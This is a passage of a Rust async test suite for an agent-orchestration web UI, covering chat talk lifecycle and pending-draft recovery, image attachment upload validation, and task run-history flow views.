16649 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16650 handler.abort();
16651 let _ = handler.await;
16654
16655 let mut turns = 0;
16656 for _ in 0..SETTLE_STEPS {
16657 if let Ok(fresh) = talks.get(&id) {
16658 turns = fresh.turns.len();
16659 if turns != 1 {
16660 break;
16661 }
16662 }
16663 tokio::time::sleep(Duration::from_millis(10)).await;
16664 }
16665 assert_ne!(
16666 turns, 1,
16667 "delay {delay}: talk {id} recorded the operator's turn but \
16668 the agent never answered - the reply task was never \
16669 started after the handler future was dropped"
16670 );
16671 }
16672 }
16673
16674 #[tokio::test]
16719 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16720 let tmp = TempDir::new().expect("tempdir");
16721 let repo = tmp.path().join("repo");
16722 std::fs::create_dir_all(&repo).expect("repo dir");
16723 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16724 let home = TempDir::new().expect("temp home");
16725 let talks = Talks::at(home.path().join("talks"));
16726 let ui = Arc::new(
16727 Ui::new(
16728 Queue::at(home.path().join("queue")),
16729 Questions::at(home.path().join("questions")),
16730 talks.clone(),
16731 home.path().join("runs"),
16732 home.path().to_path_buf(),
16733 repo.clone(),
16734 )
16735 .with_worktrees_root(home.path().join("wt")),
16736 );
16737 let cfg = config_for(&repo).await.expect("discover config");
16738 let hang_guard = Duration::from_secs(30);
16741
16742 for attempt in 0..3u32 {
16743 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16744 let id = talk.id.clone();
16745 let turn_guard = ui
16748 .begin_talk_turn(&id)
16749 .expect("claim the turn")
16750 .expect("a fresh talk owes nobody a turn");
16751
16752 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16753 let (release_tx, release_rx) = std::sync::mpsc::channel();
16754 ui.set_busy_queue_gate(BusyQueueGate {
16755 reached: reached_tx,
16756 release: release_rx,
16757 });
16758
16759 let handler = tokio::spawn(talk_say(
16760 State(Arc::clone(&ui)),
16761 Path(id.clone()),
16762 Ok(Json(NewTalkTurn {
16763 reply_to: None,
16764 text: "what does the queue module do?".to_owned(),
16765 attachments: Vec::new(),
16766 })),
16767 ));
16768
16769 tokio::time::timeout(hang_guard, reached_rx)
16774 .await
16775 .unwrap_or_else(|_| {
16776 panic!(
16777 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16778 )
16779 })
16780 .expect("the busy branch dropped the gate without using it");
16781 assert!(
16782 crate::chat_worker::try_publication_guard(&talks, &id)
16783 .expect("publication fence")
16784 .is_none(),
16785 "a queued worker cannot promote text before its successor reservation is published"
16786 );
16787
16788 let closing = Arc::clone(&ui.admissions).write_owned();
16792 tokio::pin!(closing);
16793 std::future::poll_fn(|cx| {
16794 assert!(closing.as_mut().poll(cx).is_pending());
16795 std::task::Poll::Ready(())
16796 })
16797 .await;
16798 assert!(
16799 ui.begin_admission().is_err(),
16800 "replacement blocks later admissions"
16801 );
16802
16803 let running = talks.get(&id).expect("reload talk");
16810 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16811
16812 handler.abort();
16816 let _ = handler.await;
16817 std::future::poll_fn(|cx| {
16818 assert!(
16819 closing.as_mut().poll(cx).is_pending(),
16820 "HTTP cancellation must not abandon a publishing transaction"
16821 );
16822 std::task::Poll::Ready(())
16823 })
16824 .await;
16825 assert!(
16826 crate::chat_worker::try_publication_guard(&talks, &id)
16827 .expect("publication fence after disconnect")
16828 .is_none()
16829 );
16830
16831 release_tx.send(()).expect("busy queue write still gated");
16837 drop(
16838 tokio::time::timeout(hang_guard, closing)
16839 .await
16840 .unwrap_or_else(|_| {
16841 panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16842 }),
16843 );
16844 assert!(
16845 crate::chat_worker::try_publication_guard(&talks, &id)
16846 .expect("publication fence after acknowledgement")
16847 .is_some(),
16848 "the publication fence is not retained by the long response"
16849 );
16850
16851 let mut fresh = talks.get(&id).expect("reload talk");
16854 for _ in 0..SETTLE_STEPS {
16855 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16856 break;
16857 }
16858 tokio::time::sleep(Duration::from_millis(10)).await;
16859 fresh = talks.get(&id).expect("reload talk");
16860 }
16861 assert!(
16862 fresh.pending.is_empty() && fresh.turns.len() == 2,
16863 "attempt {attempt}: talk {id} left the operator's text queued \
16864 with no drainer - the reclaimed turn was dropped along with \
16865 the handler future (pending {:?}, {} turns)",
16866 fresh.pending,
16867 fresh.turns.len()
16868 );
16869 }
16870 }
16871
16872 #[tokio::test]
16873 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16874 let (_tmp, _repo, f) = talk_fixture().await;
16875 let id = f.post("/api/talks", None).await.json()["id"]
16876 .as_str()
16877 .expect("id")
16878 .to_owned();
16879 let store = f.talks();
16880 let mut recovered = store.get(&id).expect("opened talk");
16881 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16882 .expect("persist pending draft without a live turn");
16883
16884 let edited = f
16885 .post(
16886 &format!("/api/talks/{id}/pending/edit"),
16887 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16888 )
16889 .await;
16890 assert_eq!(edited.status, 200, "{}", edited.body);
16891 assert!(edited.json()["thinking"].as_bool().unwrap());
16892
16893 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16894 for _ in 0..SETTLE_STEPS {
16895 if detail["turns"].as_array().expect("turns").len() == 2 {
16896 break;
16897 }
16898 tokio::time::sleep(Duration::from_millis(10)).await;
16899 detail = f.get(&format!("/api/talks/{id}")).await.json();
16900 }
16901 let turns = detail["turns"].as_array().expect("turns");
16902 assert_eq!(
16903 turns.len(),
16904 2,
16905 "the recovered draft must run once: {detail}"
16906 );
16907 assert_eq!(turns[0]["body"], "corrected");
16908 assert_eq!(detail["pending"], "");
16909 }
16910
16911 #[tokio::test]
16912 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16913 let tmp = TempDir::new().expect("tempdir");
16914 let repo = tmp.path().join("repo");
16915 std::fs::create_dir_all(&repo).expect("repo dir");
16916 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16917 let f = Fixture::with_repo(repo).await;
16918 let id = f.post("/api/talks", None).await.json()["id"]
16919 .as_str()
16920 .expect("id")
16921 .to_owned();
16922 let store = f.talks();
16923 let mut recovered = store.get(&id).expect("opened talk");
16924 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16925 .expect("persist pending draft without a live turn");
16926
16927 let refused = f
16928 .post(
16929 &format!("/api/talks/{id}/say"),
16930 Some(r#"{"text":"new message"}"#),
16931 )
16932 .await;
16933 assert_eq!(refused.status, 409, "{}", refused.body);
16934 assert!(refused.body.contains("resume"), "{}", refused.body);
16935 let saved = store.get(&id).expect("draft remains after refusal");
16936 assert!(saved.turns.is_empty());
16937 assert_eq!(saved.pending, "saved before restart");
16938
16939 let say_path = format!("/api/talks/{id}/say");
16940 let (first, second) = tokio::join!(
16941 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16942 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16943 );
16944 assert_eq!(first.status, 409, "{}", first.body);
16945 assert_eq!(second.status, 409, "{}", second.body);
16946 let saved = store
16947 .get(&id)
16948 .expect("draft remains after concurrent refusals");
16949 assert!(saved.turns.is_empty());
16950 assert_eq!(saved.pending, "saved before restart");
16951
16952 let resumed = f
16953 .post(&format!("/api/talks/{id}/pending/resume"), None)
16954 .await;
16955 assert_eq!(resumed.status, 202, "{}", resumed.body);
16956 let duplicate = f
16957 .post(&format!("/api/talks/{id}/pending/resume"), None)
16958 .await;
16959 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16960
16961 for _ in 0..SETTLE_STEPS {
16962 if store.get(&id).expect("talk").turns.len() == 2 {
16963 break;
16964 }
16965 tokio::time::sleep(Duration::from_millis(10)).await;
16966 }
16967 let finished = store.get(&id).expect("finished talk");
16968 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16969 assert_eq!(finished.turns[0].body, "saved before restart");
16970 assert!(finished.pending.is_empty());
16971 }
16972
16973 #[tokio::test]
16974 async fn an_image_only_recovered_draft_resumes_without_text() {
16975 let (_tmp, _repo, f) = talk_fixture().await;
16976 let id = f.post("/api/talks", None).await.json()["id"]
16977 .as_str()
16978 .expect("id")
16979 .to_owned();
16980 let uploaded = f
16981 .post_bytes(
16982 &format!("/api/talks/{id}/attachments"),
16983 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16984 PNG_BYTES,
16985 )
16986 .await;
16987 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16988 let attachment = f
16989 .talks()
16990 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16991 .expect("attachment metadata")
16992 .expect("stored attachment");
16993 let store = f.talks();
16994 let mut recovered = store.get(&id).expect("opened talk");
16995 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16996
16997 let resumed = f
16998 .post(&format!("/api/talks/{id}/pending/resume"), None)
16999 .await;
17000 assert_eq!(resumed.status, 202, "{}", resumed.body);
17001 for _ in 0..SETTLE_STEPS {
17002 if store.get(&id).expect("talk").turns.len() == 2 {
17003 break;
17004 }
17005 tokio::time::sleep(Duration::from_millis(10)).await;
17006 }
17007 let finished = store.get(&id).expect("finished talk");
17008 assert_eq!(finished.turns.len(), 2, "{finished:?}");
17009 assert!(finished.turns[0].body.is_empty());
17010 assert_eq!(finished.turns[0].attachments.len(), 1);
17011 assert!(finished.pending_attachments.is_empty());
17012 }
17013
17014 #[tokio::test]
17015 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
17016 let (_tmp, _repo, f) = talk_fixture().await;
17017 let id = f.post("/api/talks", None).await.json()["id"]
17018 .as_str()
17019 .expect("id")
17020 .to_owned();
17021 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17022 assert_eq!(closed.status, 200, "{}", closed.body);
17023 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17024 .expect("serialize closed talk");
17025 for (path, body) in [
17026 (format!("/api/talks/{id}/pending/resume"), None),
17027 (
17028 format!("/api/talks/{id}/pending/clear"),
17029 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
17030 ),
17031 (
17032 format!("/api/talks/{id}/pending/edit"),
17033 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
17034 ),
17035 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
17036 ] {
17037 let response = f.post(&path, body).await;
17038 assert_eq!(response.status, 409, "{}", response.body);
17039 }
17040 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17041 .expect("serialize closed talk");
17042 assert_eq!(
17043 after_clear, before_clear,
17044 "clear must not rewrite a closed talk"
17045 );
17046 }
17047
17048 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
17051
17052 #[tokio::test]
17053 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
17054 let tmp = TempDir::new().expect("tempdir");
17055 let repo = tmp.path().join("repo");
17056 std::fs::create_dir_all(&repo).expect("repo dir");
17057 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
17058 let f = Fixture::with_repo(repo).await;
17059 let id_a = f.post("/api/talks", None).await.json()["id"]
17060 .as_str()
17061 .unwrap()
17062 .to_owned();
17063 let id_b = f.post("/api/talks", None).await.json()["id"]
17064 .as_str()
17065 .unwrap()
17066 .to_owned();
17067
17068 let a = f
17069 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
17070 .await;
17071 assert_eq!(a.status, 202, "{}", a.body);
17072 assert_eq!(a.json()["thinking"], true);
17073 let b = f
17074 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
17075 .await;
17076 assert_eq!(b.status, 202, "{}", b.body);
17077 assert_eq!(b.json()["thinking"], true);
17078
17079 let listed = f.get("/api/talks").await.json();
17080 for id in [&id_a, &id_b] {
17081 let view = listed
17082 .as_array()
17083 .unwrap()
17084 .iter()
17085 .find(|talk| talk["id"] == *id)
17086 .unwrap();
17087 assert_eq!(view["thinking"], true, "{listed}");
17088 }
17089 let repeated = f
17090 .post(
17091 &format!("/api/talks/{id_a}/say"),
17092 Some(r#"{"text":"again"}"#),
17093 )
17094 .await;
17095 assert_eq!(repeated.status, 202, "{}", repeated.body);
17096 assert_eq!(repeated.json()["pending"], "again");
17097 }
17098
17099 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
17102
17103 #[tokio::test]
17104 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
17105 let f = Fixture::start().await;
17106 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
17107
17108 let res = f
17109 .post_bytes(
17110 &format!("/api/talks/{id}/attachments"),
17111 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17112 PNG_BYTES,
17113 )
17114 .await;
17115 assert_eq!(res.status, 201, "{}", res.body);
17116 let body = res.json();
17117 assert_eq!(body["name"], "shot.png");
17118 assert_eq!(body["mime"], "image/png");
17119 assert_eq!(body["bytes"], PNG_BYTES.len());
17120 let att_id = body["id"].as_str().expect("id").to_owned();
17121 assert_eq!(
17122 att_id.len(),
17123 32,
17124 "the id must never be a client-suppliable path: {att_id}"
17125 );
17126
17127 let got = f
17128 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
17129 .await;
17130 assert_eq!(got.status, 200, "{}", got.body);
17131 assert_eq!(got.header("content-type"), Some("image/png"));
17132 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
17133 assert_eq!(got.bytes, PNG_BYTES);
17134 }
17135
17136 #[tokio::test]
17137 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
17138 let f = Fixture::start().await;
17139 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
17140
17141 let svg = f
17144 .post_bytes(
17145 &format!("/api/talks/{id}/attachments"),
17146 &[("Content-Type", "image/svg+xml")],
17147 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
17148 )
17149 .await;
17150 assert!(
17151 (400..500).contains(&svg.status),
17152 "svg must be refused: {} {}",
17153 svg.status,
17154 svg.body
17155 );
17156 assert!(svg.body.contains("SVG"), "{}", svg.body);
17157
17158 let text = f
17159 .post_bytes(
17160 &format!("/api/talks/{id}/attachments"),
17161 &[("Content-Type", "text/plain")],
17162 b"just some text",
17163 )
17164 .await;
17165 assert!(
17166 (400..500).contains(&text.status),
17167 "an unlisted type must be refused: {} {}",
17168 text.status,
17169 text.body
17170 );
17171
17172 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
17175 let big = f
17176 .post_bytes(
17177 &format!("/api/talks/{id}/attachments"),
17178 &[("Content-Type", "image/png")],
17179 &oversized,
17180 )
17181 .await;
17182 assert_eq!(
17183 big.status,
17184 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
17185 "{}",
17186 big.body
17187 );
17188 }
17189
17190 #[tokio::test]
17191 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
17192 let f = Fixture::start().await;
17193 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
17194
17195 let res = f
17198 .post_bytes(
17199 &format!("/api/talks/{id}/attachments"),
17200 &[("Content-Type", "image/png")],
17201 b"<html>not a picture</html>",
17202 )
17203 .await;
17204 assert!((400..500).contains(&res.status), "{}", res.body);
17205 }
17206
17207 #[tokio::test]
17208 async fn an_unknown_attachment_id_is_a_404() {
17209 let f = Fixture::start().await;
17210 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
17211
17212 let res = f
17213 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
17214 .await;
17215 assert_eq!(res.status, 404, "{}", res.body);
17216 }
17217
17218 #[tokio::test]
17219 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
17220 let f = Fixture::start().await;
17221 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
17222
17223 let uploaded = f
17224 .post_bytes(
17225 &format!("/api/talks/{id}/attachments"),
17226 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17227 PNG_BYTES,
17228 )
17229 .await;
17230 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17231 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
17232
17233 let res = f
17234 .post(
17235 &format!("/api/talks/{id}/say"),
17236 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
17237 )
17238 .await;
17239 assert_eq!(res.status, 202, "{}", res.body);
17240 let queued = res.json();
17241 let turns = queued["turns"].as_array().expect("turns array");
17242 assert_eq!(
17243 turns.len(),
17244 1,
17245 "an empty body with an attachment is still a turn: {queued}"
17246 );
17247 assert_eq!(turns[0]["who"], "operator");
17248 assert_eq!(turns[0]["body"], "");
17249 let atts = turns[0]["attachments"]
17250 .as_array()
17251 .expect("attachments array");
17252 assert_eq!(atts.len(), 1);
17253 assert_eq!(atts[0]["id"], att_id);
17254 assert_eq!(atts[0]["mime"], "image/png");
17255
17256 let on_disk = f.talks().get(&id).expect("get");
17259 assert_eq!(on_disk.turns[0].attachments.len(), 1);
17260 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
17261 }
17262
17263 #[tokio::test]
17264 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
17265 let f = Fixture::start().await;
17266 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
17267
17268 let res = f
17269 .post(
17270 &format!("/api/talks/{id}/say"),
17271 Some(&format!(
17272 r#"{{"text":"hi","attachments":["{}"]}}"#,
17273 "a".repeat(32)
17274 )),
17275 )
17276 .await;
17277 assert!((400..500).contains(&res.status), "{}", res.body);
17278 assert!(res.body.contains("unknown attachment"), "{}", res.body);
17279
17280 let on_disk = f.talks().get(&id).expect("get");
17281 assert!(
17282 on_disk.turns.is_empty(),
17283 "a rejected attachment id must not partially record the turn: {:?}",
17284 on_disk.turns
17285 );
17286 }
17287
17288 #[tokio::test]
17289 async fn talk_close_makes_the_talk_refuse_further_turns() {
17290 let f = Fixture::start().await;
17291 let id = seed_talk(&f, "20260904-014455-cd34", "open");
17292
17293 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17294 assert_eq!(closed.status, 200, "{}", closed.body);
17295 assert_eq!(closed.json()["status"], "closed");
17296
17297 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
17299 assert_eq!(closed_again.status, 200);
17300 assert_eq!(closed_again.json()["status"], "closed");
17301
17302 let said = f
17303 .post(
17304 &format!("/api/talks/{id}/say"),
17305 Some(r#"{"text":"too late"}"#),
17306 )
17307 .await;
17308 assert_eq!(said.status, 409, "{}", said.body);
17309 }
17310
17311 #[tokio::test]
17312 async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17313 let f = Fixture::start().await;
17314 let id = seed_talk(&f, "20260904-014455-cd34", "open");
17315 let store = f.talks();
17316 let mut queued = store.get(&id).expect("talk");
17317 for automatic in [false, true] {
17318 if automatic {
17319 talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17320 .expect("queue automatic input");
17321 } else {
17322 talk::queue(&mut queued, &store, "queued send", Vec::new())
17323 .expect("queue operator input");
17324 }
17325 let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17326 let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17327 assert_eq!(refused.status, 409, "{}", refused.body);
17328 assert!(refused.body.contains("pending input"), "{}", refused.body);
17329 assert_eq!(
17330 serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17331 before,
17332 "a close refusal must preserve the entire record"
17333 );
17334 talk::clear_pending(&mut queued, &store).expect("clear saved input");
17335 }
17336 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17337 assert_eq!(closed.status, 200, "{}", closed.body);
17338 assert_eq!(closed.json()["status"], "closed");
17339 }
17340
17341 #[tokio::test]
17342 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17343 let (_tmp, _repo, f) = talk_fixture().await;
17344 let id = f.post("/api/talks", None).await.json()["id"]
17345 .as_str()
17346 .expect("id")
17347 .to_owned();
17348 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17349 assert_eq!(closed.status, 200, "{}", closed.body);
17350
17351 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17352 assert_eq!(reopened.status, 200, "{}", reopened.body);
17353 assert_eq!(reopened.json()["status"], "open");
17354
17355 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17357 assert_eq!(reopened_again.status, 200);
17358 assert_eq!(reopened_again.json()["status"], "open");
17359
17360 let said = f
17361 .post(
17362 &format!("/api/talks/{id}/say"),
17363 Some(r#"{"text":"still there?"}"#),
17364 )
17365 .await;
17366 assert_eq!(
17367 said.status, 202,
17368 "a reopened talk accepts turns again: {}",
17369 said.body
17370 );
17371 }
17372
17373 #[tokio::test]
17374 async fn talk_reopen_on_an_unknown_id_is_404() {
17375 let f = Fixture::start().await;
17376 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17377 assert_eq!(res.status, 404, "{}", res.body);
17378 }
17379
17380 #[tokio::test]
17381 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17382 let f = Fixture::start().await;
17383 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17384
17385 let deleted = f.delete(&format!("/api/talks/{id}")).await;
17386 assert_eq!(deleted.status, 204, "{}", deleted.body);
17387
17388 let after = f.get(&format!("/api/talks/{id}")).await;
17389 assert_eq!(after.status, 404, "{}", after.body);
17390
17391 let listed = f.get("/api/talks").await.json();
17392 assert!(
17393 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17394 "a deleted talk must not linger in the list: {listed}"
17395 );
17396 }
17397
17398 #[tokio::test]
17399 async fn talk_delete_on_an_unknown_id_is_404() {
17400 let f = Fixture::start().await;
17401 let res = f.delete("/api/talks/nonexistent-id").await;
17402 assert_eq!(res.status, 404, "{}", res.body);
17403 }
17404
17405 #[tokio::test]
17409 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17410 let f = Fixture::start().await;
17411 let (a, b, gone) = (
17412 "20260902-140501-aaaa",
17413 "20260902-140502-bbbb",
17414 "20260902-140503-cccc",
17415 );
17416 write_run(&f.runs(), a, RunStatus::Stalled);
17417 let mut review = RunState::new(
17418 PathBuf::from("/repo/magi"),
17419 "main".to_owned(),
17420 "0123456789abcdef".to_owned(),
17421 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17422 .to_owned(),
17423 Config::default(),
17424 );
17425 review.id = b.to_owned();
17426 review.status = RunStatus::Merged;
17427 write_state(&f.runs(), &review);
17428
17429 let mut task = Task::new(
17430 "retry".to_owned(),
17431 "Do the thing".to_owned(),
17432 PathBuf::from("/repo/magi"),
17433 Source::Human,
17434 );
17435 task.start(a.to_owned());
17436 task.stall("quota");
17437 task.start(a.to_owned());
17438 task.start(b.to_owned());
17439 task.start(gone.to_owned());
17440 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17442 f.queue().put(&mut task).expect("file the task");
17443
17444 let res = f.get(&format!("/api/queue/{}", task.id)).await;
17445 assert_eq!(res.status, 200, "{}", res.body);
17446 let v = res.json();
17447 let h = v["history"].as_array().expect("history");
17448 assert_eq!(h.len(), 4, "{v}");
17449 assert_eq!(h[0]["kind"], "competition");
17450 assert_eq!(h[0]["status"], "stalled");
17451 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17452 assert_eq!(h[1]["kind"], "resume", "{v}");
17453 assert!(
17454 h[0]["outcome"]
17455 .as_str()
17456 .unwrap()
17457 .contains("unknown. Pass #2"),
17458 "an earlier pass of a resumed run must not claim the final outcome: {v}"
17459 );
17460 assert!(
17461 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17462 "{v}"
17463 );
17464 assert!(
17465 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17466 "an unrecorded cause must not be narrated as an operator park: {v}"
17467 );
17468 assert_eq!(h[2]["kind"], "review");
17469 assert!(
17470 h[2]["description"]
17471 .as_str()
17472 .unwrap()
17473 .contains("magi/aaaa/A")
17474 );
17475 assert_eq!(h[2]["status"], "merged");
17476 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17477 assert_eq!(v["runs_unreadable"], 1);
17478 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17479 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17480 assert_eq!(nodes[4]["note"], "unreadable");
17481 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17482 assert_eq!(v["instruction"], "Do the thing");
17483 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17484
17485 let run = f.get(&format!("/api/runs/{a}")).await.json();
17487 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17488
17489 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17490 }
17491
17492 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17493 let mut s = RunState::new(
17494 PathBuf::from("/repo/magi"),
17495 "main".to_owned(),
17496 "0123456789abcdef".to_owned(),
17497 "Do it".to_owned(),
17498 Config::default(),
17499 );
17500 s.status = status;
17501 edit(&mut s);
17502 s
17503 }
17504
17505 fn flow_task(runs: &[&str]) -> Task {
17506 let mut t = Task::new(
17507 "t".to_owned(),
17508 "Do it".to_owned(),
17509 PathBuf::from("/repo/magi"),
17510 Source::Human,
17511 );
17512 for r in runs {
17513 t.start((*r).to_owned());
17514 }
17515 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17517 t
17518 }
17519
17520 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17521 let h = task_history(task, |id| {
17522 states
17523 .iter()
17524 .find(|(i, _)| *i == id)
17525 .and_then(|(_, s)| s.clone())
17526 });
17527 task_flow(task, &h, 5, None)
17528 }
17529
17530 #[test]
17531 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17532 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17533 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17534 let first = "2026-10-10T02:00:00Z".parse().unwrap();
17535 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17536 let held = "2026-10-10T04:00:00Z".parse().unwrap();
17537 let run = flow_run(RunStatus::Implementing, |s| {
17538 s.created_at = created;
17539 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17540 s.passes[0].started_at = first;
17541 s.passes[1].started_at = resumed;
17542 });
17543 let mut task = flow_task(&[RUN_X, RUN_X]);
17544 task.created_at = queued;
17545 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17546 task.status = TaskStatus::Held;
17547 task.held_at = Some(held);
17548 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17549 assert_eq!(
17550 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17551 vec![Some(queued), Some(first), Some(resumed), Some(held)]
17552 );
17553 assert!(flow.nodes.iter().all(|n| n.time_expected));
17554 let json = serde_json::to_value(&flow).unwrap();
17555 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17556 assert_eq!(json["nodes"][2]["time_expected"], true);
17557 }
17558
17559 #[test]
17560 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17561 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17562 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17563 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17564 task.held_at = Some(created);
17566 task.blocked_at = Some(created);
17567 for status in [
17568 TaskStatus::Queued,
17569 TaskStatus::Running,
17570 TaskStatus::Blocked,
17571 TaskStatus::Done,
17572 TaskStatus::Failed,
17573 TaskStatus::Parked,
17574 TaskStatus::Held,
17575 ] {
17576 task.status = status;
17577 if status == TaskStatus::Held {
17578 task.held_at = None;
17579 }
17580 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17581 assert_eq!(flow.nodes[1].started_at, Some(created));
17582 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17583 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17584 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17585 let json = serde_json::to_value(&flow).unwrap();
17586 assert!(json["nodes"][3]["started_at"].is_null());
17587 assert_eq!(json["nodes"][3]["time_expected"], true);
17588 }
17589 }
17590
17591 #[test]
17592 fn flow_context_links_do_not_expect_start_times() {
17593 let mut task = flow_task(&[]);
17594 task.source = Source::Agent {
17595 run: "chat-id".to_owned(),
17596 node: "chat".to_owned(),
17597 };
17598 let origin = followup_origin(&fu(None), |_| None, |_| None);
17599 let flow = task_flow(&task, &[], 5, Some(&origin));
17600 for node in &flow.nodes[..2] {
17601 assert!(!node.time_expected);
17602 assert_eq!(node.started_at, None);
17603 }
17604 assert!(flow.nodes[2].time_expected);
17605 }
17606
17607 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17608 crate::queue::FollowUp {
17609 run: "20260901-000000-aaaa".to_owned(),
17610 origin_task: origin_task.map(str::to_owned),
17611 pr: "https://example.com/o/r/pull/1".to_owned(),
17612 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17613 .map(str::to_owned)
17614 .to_vec(),
17615 generation: 1,
17616 }
17617 }
17618
17619 fn parent_task() -> Task {
